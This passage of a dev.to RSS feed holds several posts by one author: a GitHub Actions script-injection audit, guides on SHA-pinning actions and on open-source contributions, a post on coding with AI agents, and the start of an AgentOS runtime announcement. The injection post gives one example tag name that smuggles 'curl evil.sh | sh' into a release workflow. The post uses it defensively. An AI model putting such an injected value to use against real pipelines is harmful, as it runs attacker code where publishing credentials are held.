&lt;p&gt;The fixer catches itself, declines to apply, and the file still parses — so every check I had described stays silent. The tool was explicitly asking to be told about a class of bug, and my scanner was discarding the request as log noise.&lt;/p&gt;

&lt;p&gt;Adding that as its own finding class took about twenty lines and immediately produced &lt;a href="https://github.com/sqlfluff/sqlfluff/issues/8466" rel="noopener noreferrer"&gt;sqlfluff#8466&lt;/a&gt;: RF06 replaces a procedure or function name with a segment whose &lt;em&gt;type&lt;/em&gt; the grammar at that position cannot accept, so the fix is silently dropped on twenty of the project's own fixtures.&lt;/p&gt;

&lt;p&gt;Which is the more useful lesson than the ruff result, honestly: &lt;strong&gt;the highest-value finding of the week came from reading the output I had decided was noise, not from adding a new target.&lt;/strong&gt; When a tool prints "please report this as a bug" into a log you are not reading, that is the finding.&lt;/p&gt;

</description>
      <category>testing</category>
      <category>python</category>
      <category>opensource</category>
      <category>devtools</category>
    </item>
    <item>
      <title>I Read 25 Release Pipelines Looking for One Bug. Four Had It.</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Wed, 26 Aug 2026 09:40:48 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/i-read-25-release-pipelines-looking-for-one-bug-four-had-it-3n9e</link>
      <guid>https://dev.to/wahib_el_khadiri_0/i-read-25-release-pipelines-looking-for-one-bug-four-had-it-3n9e</guid>
      <description>&lt;p&gt;There is one line of YAML I have been chasing across open source for months:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
  &lt;span class="s"&gt;TAG="${{ github.event.release.tag_name }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks like reading a variable. It is not.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;${{ ... }}&lt;/code&gt; is a &lt;strong&gt;template expression&lt;/strong&gt;. GitHub substitutes it as raw text into the script &lt;em&gt;before&lt;/em&gt; bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program.&lt;/p&gt;

&lt;p&gt;So a tag named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;v1.0&lt;span class="s2"&gt;"; curl evil.sh | sh; echo "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is not compared. It runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why it is always the release workflow
&lt;/h2&gt;

&lt;p&gt;You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes.&lt;/p&gt;

&lt;p&gt;That is not a coincidence. Release workflows are where you handle version strings, tag names, and &lt;code&gt;workflow_dispatch&lt;/code&gt; inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;   &lt;span class="c1"&gt;# Trusted Publishing to PyPI
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users.&lt;/p&gt;

&lt;h2&gt;
  
  
  The JavaScript variant is worse
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;actions/github-script&lt;/code&gt; has the same flaw, but people miss it because the block &lt;em&gt;looks&lt;/em&gt; like a script file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/github-script@v7&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
      &lt;span class="s"&gt;const tag = '${{ env.RELEASE_TAG }}';&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;script:&lt;/code&gt; body is JavaScript &lt;strong&gt;source&lt;/strong&gt;. The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code.&lt;/p&gt;

&lt;p&gt;And a tag name absolutely can contain a single quote. &lt;code&gt;git check-ref-format&lt;/code&gt; rejects spaces, &lt;code&gt;~&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt;, &lt;code&gt;:&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;[&lt;/code&gt; and backslash. It does not reject &lt;code&gt;'&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix is three lines
&lt;/h2&gt;

&lt;p&gt;Pass the value through &lt;code&gt;env&lt;/code&gt;. An environment variable is only ever data — it is never re-parsed as source text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Before
&lt;/span&gt;&lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
  &lt;span class="s"&gt;TAG="${{ github.event.release.tag_name }}"&lt;/span&gt;

&lt;span class="c1"&gt;# After
&lt;/span&gt;&lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;RELEASE_TAG&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.release.tag_name }}&lt;/span&gt;
&lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
  &lt;span class="s"&gt;TAG="$RELEASE_TAG"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same for the JavaScript case — &lt;code&gt;process.env.RELEASE_TAG&lt;/code&gt; instead of interpolation.&lt;/p&gt;

&lt;p&gt;While you are in the file, add the block most release workflows never had:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Least privilege by default, with individual jobs raising it only where they must.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually found
&lt;/h2&gt;

&lt;p&gt;I read the release workflows of about twenty-five projects. Four had it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/crewAIInc/crewAI/pull/7119" rel="noopener noreferrer"&gt;crewAI&lt;/a&gt;&lt;/strong&gt; (57k stars) — a &lt;code&gt;workflow_dispatch&lt;/code&gt; input reaching the shell of the job that builds the PyPI artifact. The step turned out to be redundant entirely: &lt;code&gt;inputs.release_tag || github.ref&lt;/code&gt; already produced the same result, so the fix deleted four lines rather than patching them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/polybar/polybar/pull/3252" rel="noopener noreferrer"&gt;polybar&lt;/a&gt;&lt;/strong&gt; (15k stars) — an input into an unquoted shell assignment, then onward into four JavaScript string literals through &lt;code&gt;GITHUB_ENV&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/in-toto/in-toto/pull/953" rel="noopener noreferrer"&gt;in-toto&lt;/a&gt;&lt;/strong&gt; — tag interpolated into &lt;code&gt;github-script&lt;/code&gt; in a job holding &lt;code&gt;id-token: write&lt;/code&gt; for PyPI. Worth noting because in-toto is a supply-chain integrity framework; this is the kind of thing that hides in the tooling as easily as anywhere else.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/TEN-framework/ten-framework/pull/2294" rel="noopener noreferrer"&gt;TEN Framework&lt;/a&gt;&lt;/strong&gt; (11k stars) — tag into a &lt;code&gt;github-script&lt;/code&gt; body holding a cross-repository PAT.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Earlier, the same class in &lt;strong&gt;&lt;a href="https://github.com/PrefectHQ/prefect/pull/22882" rel="noopener noreferrer"&gt;Prefect&lt;/a&gt;&lt;/strong&gt;, now merged.&lt;/p&gt;

&lt;h2&gt;
  
  
  Say the severity honestly
&lt;/h2&gt;

&lt;p&gt;Every one of those required push access to trigger — creating a release or dispatching a workflow. &lt;strong&gt;None were exploitable by an anonymous stranger.&lt;/strong&gt; They are defense in depth, and I said exactly that in each pull request.&lt;/p&gt;

&lt;p&gt;That matters more than it sounds. The temptation is to call everything critical, because critical findings feel like better work. But a maintainer who reads one inflated report stops reading the next one. The value of the finding is destroyed by the way it is described.&lt;/p&gt;

&lt;p&gt;What these bugs actually do is remove a step between &lt;em&gt;"can cut a release"&lt;/em&gt; and &lt;em&gt;"controls the publishing identity"&lt;/em&gt; — a real escalation, worth closing, and not the end of the world.&lt;/p&gt;

&lt;h2&gt;
  
  
  The other twenty-one
&lt;/h2&gt;

&lt;p&gt;They were fine.&lt;/p&gt;

&lt;p&gt;Cloudflare's capnweb routes the comment body through &lt;code&gt;env&lt;/code&gt;, gates on &lt;code&gt;author_association&lt;/code&gt;, and pins every action by SHA. AWS's Go SDK does the same with issue titles. mem0 looked suspicious at first — a step output interpolated into a shell command — until I traced it and found the value came from a closed &lt;code&gt;case&lt;/code&gt; statement of hardcoded literals with an erroring default. langchain, litellm, gradio, huggingface, weaviate, qdrant: all correct.&lt;/p&gt;

&lt;p&gt;I mention it because an audit that finds something critical in everything it touches is not measuring the code. Knowing when there is nothing to report is the same skill as finding the bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check your own
&lt;/h2&gt;

&lt;p&gt;Search your workflows for &lt;code&gt;${{&lt;/code&gt; inside a &lt;code&gt;run:&lt;/code&gt; or &lt;code&gt;script:&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rn --include=&lt;span class="s1"&gt;'*.yml'&lt;/span&gt; --include=&lt;span class="s1"&gt;'*.yaml'&lt;/span&gt; \
  -e &lt;span class="s1"&gt;'run:'&lt;/span&gt; -e &lt;span class="s1"&gt;'script:'&lt;/span&gt; -A20 .github/workflows/ \
  &lt;span class="o"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;'\${{'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then ask two questions about every hit:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Can anything outside my organization influence this value?&lt;/strong&gt; Issue titles, comment bodies and fork branch names are attacker-controlled by &lt;em&gt;anyone&lt;/em&gt;. Tags and dispatch inputs need write access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What does this job hold?&lt;/strong&gt; A step with &lt;code&gt;id-token: write&lt;/code&gt;, a publish token, or a PAT that reaches another repository is worth a different level of care than one that prints a version string.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the answer to the second question is "the keys to the package registry", fix it this week.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I work on CI/CD and release pipeline security. Everything above links to a public pull request you can read.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>devops</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Coding with an AI agent: what actually changed (and what didnt)</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Wed, 05 Aug 2026 07:49:51 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/coding-with-an-ai-agent-what-actually-changed-and-what-didnt-4a1m</link>
      <guid>https://dev.to/wahib_el_khadiri_0/coding-with-an-ai-agent-what-actually-changed-and-what-didnt-4a1m</guid>
      <description>&lt;p&gt;Every job post now says "we expect you to use AI in your daily workflow." Good — because used well, an AI coding agent is a real multiplier. Used badly, it's a confident intern that ships bugs. After months of building and shipping merged open-source PRs with an agent in the loop, here's what actually changed — and what didn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  What genuinely got faster
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Navigating unfamiliar codebases.&lt;/strong&gt; Dropping into a repo I've never seen and asking "where is X handled and why" collapses hours into minutes. This is the single biggest win — not writing code, but &lt;em&gt;understanding&lt;/em&gt; it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Boilerplate and tests.&lt;/strong&gt; Regression tests, argument parsing, config plumbing — the stuff you know how to write but don't want to. The agent drafts, I review.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Refactors with a spec.&lt;/strong&gt; "Replace this nested loop with a vectorized construction, preserve ordering and the guards" → a clean patch I then &lt;em&gt;verify&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What did NOT change (and never should)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;You still own correctness.&lt;/strong&gt; I don't merge anything I can't explain and haven't tested. On one fix I had the agent generate a change, then I ran the old and new code side-by-side across every input and asserted identical output before opening the PR. The agent wrote the diff; &lt;em&gt;I&lt;/em&gt; signed off on it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Judgment is still yours.&lt;/strong&gt; Which issue to pick, whether the scope is sane, whether a bounty is a dead race — the agent will happily execute a bad plan. Deciding &lt;em&gt;what&lt;/em&gt; to do is the human's job.&lt;/p&gt;

&lt;h2&gt;
  
  
  The workflow that works for me
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Human:&lt;/strong&gt; pick a small, concrete problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent:&lt;/strong&gt; explore the codebase, propose a minimal change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human:&lt;/strong&gt; sanity-check the plan (reject vague or oversized ones).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent:&lt;/strong&gt; implement + draft a test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human:&lt;/strong&gt; run the full suite, verify, read every line.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human:&lt;/strong&gt; write the PR, disclose AI assistance, ship.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notice the human is at both ends. The agent compresses the middle.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest failure mode
&lt;/h2&gt;

&lt;p&gt;The trap is &lt;em&gt;trusting output you didn't verify&lt;/em&gt;. An agent will produce plausible, well-formatted, wrong code — and it looks exactly like the right code. The discipline that matters in 2026 isn't prompting; it's &lt;strong&gt;verification&lt;/strong&gt;. Reviewing AI output is now a core engineering skill, not an optional one.&lt;/p&gt;

&lt;p&gt;Delegation, not abdication. Let the agent do the typing. Keep the thinking.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>productivity</category>
      <category>programming</category>
      <category>career</category>
    </item>
    <item>
      <title>How a self-taught dev gets merged PRs into real open-source projects</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Wed, 05 Aug 2026 07:49:50 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/how-a-self-taught-dev-gets-merged-prs-into-real-open-source-projects-24g0</link>
      <guid>https://dev.to/wahib_el_khadiri_0/how-a-self-taught-dev-gets-merged-prs-into-real-open-source-projects-24g0</guid>
      <description>&lt;p&gt;I'm self-taught, 22, and I have merged pull requests in real open-source projects — a quantum-computing library, an AI coding-agent toolkit, security tooling, data stacks. No CS degree, no referral. Just a repeatable process. Here it is, no fluff.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why bother (if you're job-hunting)
&lt;/h2&gt;

&lt;p&gt;A merged PR is &lt;strong&gt;public, verifiable proof&lt;/strong&gt; you can read a real codebase, follow its conventions, and ship. It beats a wall of tutorial projects on a resume, because a stranger with commit rights already said &lt;em&gt;yes&lt;/em&gt; to your code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The playbook
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Find a genuinely small, unclaimed issue
&lt;/h3&gt;

&lt;p&gt;Search GitHub for &lt;code&gt;label:"good first issue" state:open&lt;/code&gt; in a language you know. Then filter hard:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;0 comments&lt;/strong&gt; and &lt;strong&gt;no assignee&lt;/strong&gt; → nobody's racing you.&lt;/li&gt;
&lt;li&gt;The issue names the file and the fix → scope is bounded.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Skip anything vague ("improve testing", "add feature X"). Vague = subjective review = rejection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# GitHub search that surfaces fresh, unclaimed issues
is:issue is:open label:"good first issue" no:assignee sort:created-desc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Check for competing PRs &lt;em&gt;before&lt;/em&gt; you start
&lt;/h3&gt;

&lt;p&gt;Fast-moving repos get duplicate PRs. If someone opened one an hour ago, move on — I've lost that race twice and learned.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Reproduce, fix, and &lt;strong&gt;add a test&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Clone, reproduce the bug, make the minimal change, then write a regression test. The test is what turns "trust me" into "here's proof." Run the full suite and note any failures that are pre-existing (verify with &lt;code&gt;git stash&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Match the house style
&lt;/h3&gt;

&lt;p&gt;Read &lt;code&gt;CONTRIBUTING.md&lt;/code&gt;. Some repos require you to comment "I'll take this" first. Some enforce DCO (&lt;code&gt;git commit -s&lt;/code&gt;). Some use Conventional Commits. Follow their rules exactly — reviewers notice.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Write the PR like a reviewer is busy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;One sentence: what was broken.&lt;/li&gt;
&lt;li&gt;The fix, and &lt;em&gt;why&lt;/em&gt; this one.&lt;/li&gt;
&lt;li&gt;Proof it works (test output).&lt;/li&gt;
&lt;li&gt;Disclose AI assistance if you used it — honesty builds trust.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I stopped doing
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chasing bounties.&lt;/strong&gt; Most are dead (archived repos) or 200-person races. Terrible expected value.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Padding volume.&lt;/strong&gt; Two clean PRs to reputable repos beat ten to 3-star toy projects. Quality is the signal.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The mindset
&lt;/h2&gt;

&lt;p&gt;You're not "contributing to open source." You're solving one small, concrete problem for someone, cleanly, with a test. Do that ten times and you have a track record no bootcamp certificate can match.&lt;/p&gt;

&lt;p&gt;Start today: find one 0-comment &lt;code&gt;good first issue&lt;/code&gt;, and ship the smallest correct fix you can.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>career</category>
      <category>beginners</category>
      <category>productivity</category>
    </item>
    <item>
      <title>A GitHub Actions tag is a promise, not a fact: pinning by SHA the right way</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Sun, 02 Aug 2026 22:58:53 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/a-github-actions-tag-is-a-promise-not-a-fact-pinning-by-sha-the-right-way-3np</link>
      <guid>https://dev.to/wahib_el_khadiri_0/a-github-actions-tag-is-a-promise-not-a-fact-pinning-by-sha-the-right-way-3np</guid>
      <description>&lt;p&gt;When you write &lt;code&gt;uses: actions/checkout@v4&lt;/code&gt; in a GitHub Actions workflow, you are not pinning anything. You are trusting a promise.&lt;/p&gt;

&lt;p&gt;A tag is a movable pointer. Whoever owns that repository can repoint &lt;code&gt;v4&lt;/code&gt; at a different commit tomorrow, after you reviewed it, and every run of your pipeline will silently pull the new code. In a job that holds a registry login, a PyPI token, or a signing key, that is exactly the place you do not want a mutable reference.&lt;/p&gt;

&lt;p&gt;I recently went through a project's workflows and pinned the remaining actions to commit SHAs. Here is what I actually learned doing it — beyond "just use the SHA".&lt;/p&gt;

&lt;h2&gt;
  
  
  A tag is a promise; a SHA is a fact
&lt;/h2&gt;

&lt;p&gt;Compare these two lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# a promise: "v4 will keep meaning what you reviewed"
&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/login-action@v4&lt;/span&gt;

&lt;span class="c1"&gt;# a fact: this exact tree, forever
&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/login-action@dbcb813823bdd20940b903addbd779551569679f&lt;/span&gt; &lt;span class="c1"&gt;# v4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second form is content-addressed. &lt;code&gt;dbcb813…&lt;/code&gt; can only ever refer to one tree of code. If upstream is compromised and someone force-pushes &lt;code&gt;v4&lt;/code&gt; to a malicious commit, your pinned SHA keeps running the code you actually audited. That is the whole security argument for pinning, and it is a real one — tag-repointing has been used in real supply-chain incidents.&lt;/p&gt;

&lt;h2&gt;
  
  
  Re-resolve the SHAs yourself
&lt;/h2&gt;

&lt;p&gt;The interesting part is &lt;em&gt;how you get the SHA&lt;/em&gt;. It is tempting to copy it from a table someone handed you. Don't. The point of pinning is to pin to code &lt;strong&gt;you&lt;/strong&gt; verified, so resolve each ref yourself against the source of truth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api repos/docker/login-action/commits/v4 --jq .sha
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This dereferences the ref to the commit it currently points at. Do it for every action, and you have both verified the value and produced the exact string to paste. When I did this across seven &lt;code&gt;uses:&lt;/code&gt; lines, they matched the values I'd been given — but the trust now comes from having checked, not from having copied.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep the version comment, or you break Dependabot
&lt;/h2&gt;

&lt;p&gt;Here is the subtlety that turns a security win into a maintenance problem. Once you pin to a SHA, the human readability is gone — nobody knows &lt;code&gt;dbcb813&lt;/code&gt; is &lt;code&gt;v4&lt;/code&gt; at a glance, and neither does your update tooling &lt;strong&gt;unless you tell it&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/login-action@dbcb813823bdd20940b903addbd779551569679f&lt;/span&gt; &lt;span class="c1"&gt;# v4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dependabot parses that trailing &lt;code&gt;# v4&lt;/code&gt; comment. Keep it, and Dependabot keeps offering version bumps as PRs — you get the security of a pin &lt;em&gt;and&lt;/em&gt; a maintained update path. Drop the comment, and Dependabot goes quiet: your pin quietly rots, and a stale pin nobody notices is its own risk. The comment is not decoration; it is the contract with your update bot.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one pin you have to think about
&lt;/h2&gt;

&lt;p&gt;Not every ref is a version tag. Some actions publish from a moving branch on purpose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pypa/gh-action-pypi-publish@release/v1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;release/v1&lt;/code&gt; is a branch the maintainers push fixes to. Pinning it to a SHA is still correct — but now &lt;em&gt;you&lt;/em&gt; own the decision of when to move it forward, and this one holds the PyPI publish. That is a real trade: you have removed the silent-update risk, but you have taken on the duty to bump it deliberately when upstream ships a fix. Pin it, keep the &lt;code&gt;# release/v1&lt;/code&gt; comment so Dependabot still nudges you, and write down that you understand the trade. The judgement is the point, not the edit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Pinning actions by SHA is a one-line-per-&lt;code&gt;uses:&lt;/code&gt; change, and the diff looks trivial. The value isn't in the edit — it's in three habits:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Resolve every SHA yourself&lt;/strong&gt; against the upstream repo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the &lt;code&gt;# vX&lt;/code&gt; comment&lt;/strong&gt; so Dependabot can still bump it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Name the moving-branch pins&lt;/strong&gt; and accept that you now own their updates.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A tag says "trust me." A SHA says "here is exactly what runs." In the job that holds your credentials, prefer the fact.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This came out of a real contribution — pinning the remaining actions across a project's workflows in &lt;a href="https://github.com/thingctx/thingctx/pull/127" rel="noopener noreferrer"&gt;thingctx#127&lt;/a&gt;. If you maintain workflows with credentialed jobs, it's an afternoon's audit worth doing.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>devops</category>
      <category>cicd</category>
    </item>
    <item>
      <title>AgentOS: a Rust runtime for AI agents with deterministic time-travel replay</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Sun, 26 Jul 2026 18:22:50 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/agentos-a-rust-runtime-for-ai-agents-with-deterministic-time-travel-replay-bmm</link>
      <guid>https://dev.to/wahib_el_khadiri_0/agentos-a-rust-runtime-for-ai-agents-with-deterministic-time-travel-replay-bmm</guid>
      <description>&lt;p&gt;Most agent frameworks help you &lt;em&gt;build&lt;/em&gt; a workflow. The harder part starts after that: the workflow has to run as a long-lived process, fail clearly, restart carefully, and be inspectable after the fact.&lt;/p&gt;

&lt;p&gt;That's the gap I'm building &lt;strong&gt;AgentOS&lt;/strong&gt; for — an open-source, Rust-first runtime layer that sits &lt;em&gt;underneath&lt;/em&gt; frameworks like LangGraph, AutoGen or CrewAI instead of replacing them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What one process gives you
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo run -p agentos-cli -- run --agent examples/simple_agent.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That single command brings up a supervised agent, a health endpoint, a gRPC message bus, a live SSE event stream, and a recorded trace you can replay later. No API key is needed just to bring the runtime up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Time-travel debugging
&lt;/h2&gt;

&lt;p&gt;Your agent does something weird on step 7. Reproducing it costs real API calls, and it never behaves the same way twice.&lt;/p&gt;

&lt;p&gt;AgentOS journals every LLM exchange and tool result at the provider boundary, so any run can be replayed deterministically — and forked into alternate timelines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;agentOS run --agent my_agent.toml    &lt;span class="c"&gt;# every step journaled automatically&lt;/span&gt;
agentOS replay --session agent_123   &lt;span class="c"&gt;# offline re-run, no API cost, drift-checked&lt;/span&gt;
agentOS fork --from ckpt_4 --prompt &lt;span class="s2"&gt;"try the other path"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dashboard's Recordings view turns those journals into a scrubbable timeline: step through the prompt, each exchange, tool calls and their results, with per-exchange checkpoints as fork anchors.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's inside
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;crates/kernel&lt;/code&gt; — lifecycle, agent handles, supervisor&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;crates/bus&lt;/code&gt; — in-memory, gRPC, SSE and WebSocket messaging&lt;/li&gt;
&lt;li&gt;
